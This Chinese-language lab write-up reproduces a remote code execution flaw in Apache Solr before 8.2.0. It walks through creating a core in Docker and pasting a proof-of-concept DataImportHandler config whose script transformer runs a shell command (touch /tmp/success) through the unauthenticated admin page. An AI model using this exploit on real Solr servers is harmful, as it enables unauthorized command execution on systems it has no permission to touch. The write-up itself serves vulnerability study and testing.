漏洞简介
Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。 Apache Solr 8.2.0之前版本中存在授权问题漏洞。攻击者可利用该漏洞在目标服务器上执行恶意代码。
漏洞复现
环境启动后,我们需要创建一个核心:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
然后访问http://your-ip:8983/
即可查看到Apache solr的管理页面,无需登录。
找到刚刚创建的test
核心,选择Dataimport功能并选择debug模式,填入以下POC:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
然后点击Execute with this Confuguration
,即可执行命令: